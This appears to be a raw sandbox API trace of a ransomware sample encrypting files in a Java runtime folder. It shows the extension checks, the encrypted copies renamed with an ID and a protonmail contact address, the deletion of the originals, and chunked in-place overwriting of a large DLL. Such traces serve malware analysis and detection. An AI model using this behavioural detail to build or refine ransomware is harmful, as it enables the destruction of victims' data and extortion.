	[0093.392] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.392] lstrlenW (lpString=".7z") returned 3
	[0093.392] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0093.392] lstrlenW (lpString=".dbf") returned 4
	[0093.392] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0093.392] lstrlenW (lpString=".1cd") returned 4
	[0093.392] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0093.392] lstrlenW (lpString=".jpg") returned 4
	[0093.392] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0093.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0093.392] lstrlenW (lpString=".doc") returned 4
	[0093.392] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.393] lstrlenW (lpString=".docx") returned 5
	[0093.393] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0093.393] lstrlenW (lpString=".pdf") returned 4
	[0093.393] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.393] lstrlenW (lpString=".xls") returned 4
	[0093.393] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.393] lstrlenW (lpString=".xlsx") returned 5
	[0093.393] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0093.393] lstrlenW (lpString=".ppt") returned 4
	[0093.393] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0093.393] lstrlenW (lpString=".zip") returned 4
	[0093.393] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.393] lstrlenW (lpString=".rar") returned 4
	[0093.393] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.393] lstrlenW (lpString=".bz2") returned 4
	[0093.393] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.393] lstrlenW (lpString=".7z") returned 3
	[0093.393] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0093.393] lstrlenW (lpString=".dbf") returned 4
	[0093.393] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0093.393] lstrlenW (lpString=".1cd") returned 4
	[0093.393] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll") returned 62
	[0093.393] lstrlenW (lpString=".jpg") returned 4
	[0093.393] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.393] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.393] lstrlenW (lpString="jdwp.dll") returned 8
	[0093.393] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.394] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=201792) returned 1
	[0093.394] CloseHandle (hObject=0x394) returned 1
	[0093.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 0x20
	[0093.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.394] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.394] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.394] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.395] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0093.395] GetLastError () returned 0x0
	[0093.395] ReadFile (in: hFile=0x394, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x31440, lpOverlapped=0x0) returned 1
	[0093.487] WriteFile (in: hFile=0x378, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x31450, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x31450, lpOverlapped=0x0) returned 1
	[0093.491] ReadFile (in: hFile=0x394, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.491] WriteFile (in: hFile=0x378, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0093.491] SetEndOfFile (hFile=0x378) returned 1
	[0093.491] CloseHandle (hObject=0x378) returned 1
	[0093.491] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.491] SetEndOfFile (hFile=0x394) returned 1
	[0093.493] CloseHandle (hObject=0x394) returned 1
	[0093.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.493] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 1
	[0093.494] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0093.494] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0093.494] lstrlenW (lpString=".doc") returned 4
	[0093.494] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.494] lstrlenW (lpString=".docx") returned 5
	[0093.494] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0093.494] lstrlenW (lpString=".pdf") returned 4
	[0093.494] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.494] lstrlenW (lpString=".xls") returned 4
	[0093.494] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.494] lstrlenW (lpString=".xlsx") returned 5
	[0093.494] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0093.494] lstrlenW (lpString=".ppt") returned 4
	[0093.494] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.494] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0093.494] lstrlenW (lpString=".zip") returned 4
	[0093.494] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.494] lstrlenW (lpString=".rar") returned 4
	[0093.494] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.494] lstrlenW (lpString=".bz2") returned 4
	[0093.494] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.494] lstrlenW (lpString=".7z") returned 3
	[0093.494] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.494] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0093.495] lstrlenW (lpString=".dbf") returned 4
	[0093.495] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0093.495] lstrlenW (lpString=".1cd") returned 4
	[0093.495] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0093.495] lstrlenW (lpString=".jpg") returned 4
	[0093.495] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0093.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0093.495] lstrlenW (lpString=".doc") returned 4
	[0093.495] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.495] lstrlenW (lpString=".docx") returned 5
	[0093.495] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0093.495] lstrlenW (lpString=".pdf") returned 4
	[0093.495] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.495] lstrlenW (lpString=".xls") returned 4
	[0093.495] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.495] lstrlenW (lpString=".xlsx") returned 5
	[0093.495] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0093.495] lstrlenW (lpString=".ppt") returned 4
	[0093.495] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0093.495] lstrlenW (lpString=".zip") returned 4
	[0093.495] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.495] lstrlenW (lpString=".rar") returned 4
	[0093.495] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.495] lstrlenW (lpString=".bz2") returned 4
	[0093.495] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.495] lstrlenW (lpString=".7z") returned 3
	[0093.495] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0093.495] lstrlenW (lpString=".dbf") returned 4
	[0093.495] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.495] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0093.495] lstrlenW (lpString=".1cd") returned 4
	[0093.496] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.496] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll") returned 47
	[0093.496] lstrlenW (lpString=".jpg") returned 4
	[0093.496] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.496] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.496] lstrlenW (lpString="jfxmedia.dll") returned 12
	[0093.496] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.496] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=139840) returned 1
	[0093.496] CloseHandle (hObject=0x394) returned 1
	[0093.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 0x20
	[0093.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.496] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.497] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.497] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.497] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0093.497] GetLastError () returned 0x0
	[0093.497] ReadFile (in: hFile=0x394, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x22240, lpOverlapped=0x0) returned 1
	[0093.501] WriteFile (in: hFile=0x378, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x22250, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x22250, lpOverlapped=0x0) returned 1
	[0093.504] ReadFile (in: hFile=0x394, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.504] WriteFile (in: hFile=0x378, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.504] SetEndOfFile (hFile=0x378) returned 1
	[0093.504] CloseHandle (hObject=0x378) returned 1
	[0093.504] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.504] SetEndOfFile (hFile=0x394) returned 1
	[0093.506] CloseHandle (hObject=0x394) returned 1
	[0093.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.506] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 1
	[0093.506] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0093.506] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0093.506] lstrlenW (lpString=".doc") returned 4
	[0093.506] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.506] lstrlenW (lpString=".docx") returned 5
	[0093.506] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0093.506] lstrlenW (lpString=".pdf") returned 4
	[0093.506] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.506] lstrlenW (lpString=".xls") returned 4
	[0093.506] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.506] lstrlenW (lpString=".xlsx") returned 5
	[0093.506] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0093.506] lstrlenW (lpString=".ppt") returned 4
	[0093.506] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.506] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0093.506] lstrlenW (lpString=".zip") returned 4
	[0093.506] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.506] lstrlenW (lpString=".rar") returned 4
	[0093.506] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.506] lstrlenW (lpString=".bz2") returned 4
	[0093.507] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.507] lstrlenW (lpString=".7z") returned 3
	[0093.507] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.507] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0093.507] lstrlenW (lpString=".dbf") returned 4
	[0093.507] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.507] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0093.507] lstrlenW (lpString=".1cd") returned 4
	[0093.507] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.507] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0093.507] lstrlenW (lpString=".jpg") returned 4
	[0093.507] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.507] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0093.507] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0093.507] lstrlenW (lpString=".doc") returned 4
	[0093.507] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.507] lstrlenW (lpString=".docx") returned 5
	[0093.507] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0093.507] lstrlenW (lpString=".pdf") returned 4
	[0093.507] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.507] lstrlenW (lpString=".xls") returned 4
	[0093.507] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.507] lstrlenW (lpString=".xlsx") returned 5
	[0093.507] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0093.507] lstrlenW (lpString=".ppt") returned 4
	[0093.507] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.507] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0093.507] lstrlenW (lpString=".zip") returned 4
	[0093.507] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.507] lstrlenW (lpString=".rar") returned 4
	[0093.507] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.507] lstrlenW (lpString=".bz2") returned 4
	[0093.507] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.507] lstrlenW (lpString=".7z") returned 3
	[0093.507] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0093.508] lstrlenW (lpString=".dbf") returned 4
	[0093.508] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0093.508] lstrlenW (lpString=".1cd") returned 4
	[0093.508] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll") returned 51
	[0093.508] lstrlenW (lpString=".jpg") returned 4
	[0093.508] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.508] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.508] lstrlenW (lpString="jfxwebkit.dll") returned 13
	[0093.508] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.508] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=41503296) returned 1
	[0093.508] CloseHandle (hObject=0x394) returned 1
	[0093.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll")) returned 0x20
	[0093.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.508] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0093.509] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.509] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc64 | out: lpNewFilePointer=0x0) returned 1
	[0093.509] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1
	[0093.509] ReadFile (in: hFile=0x394, lpBuffer=0x3b28058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b28058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0093.738] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1
	[0093.738] ReadFile (in: hFile=0x394, lpBuffer=0x3b68058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b68058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0093.760] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x378fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.760] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x378fc24 | out: lpNewFilePointer=0x0) returned 1
	[0093.760] ReadFile (in: hFile=0x394, lpBuffer=0x3ba8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x378fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ba8058*, lpNumberOfBytesRead=0x378fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0093.937] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.937] WriteFile (in: hFile=0x394, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x378fca8, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fca8*=0xc0106, lpOverlapped=0x0) returned 1
	[0093.954] SetEndOfFile (hFile=0x394) returned 1
	[0093.954] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3e449b8
	[0093.958] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1
	[0093.958] WriteFile (in: hFile=0x394, lpBuffer=0x3e449b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e449b8*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0093.959] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1
	[0093.959] WriteFile (in: hFile=0x394, lpBuffer=0x3e449b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e449b8*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0093.960] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x378fc74 | out: lpNewFilePointer=0x0) returned 1
	[0093.960] WriteFile (in: hFile=0x394, lpBuffer=0x3e449b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x378fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e449b8*, lpNumberOfBytesWritten=0x378fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0093.962] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0093.962] CloseHandle (hObject=0x394) returned 1
	[0093.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.962] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0093.963] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll") returned 52
	[0093.963] lstrlenW (lpString=".doc") returned 4
	[0093.963] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.963] lstrlenW (lpString=".docx") returned 5
	[0093.963] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0093.963] lstrlenW (lpString=".pdf") returned 4
	[0093.963] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
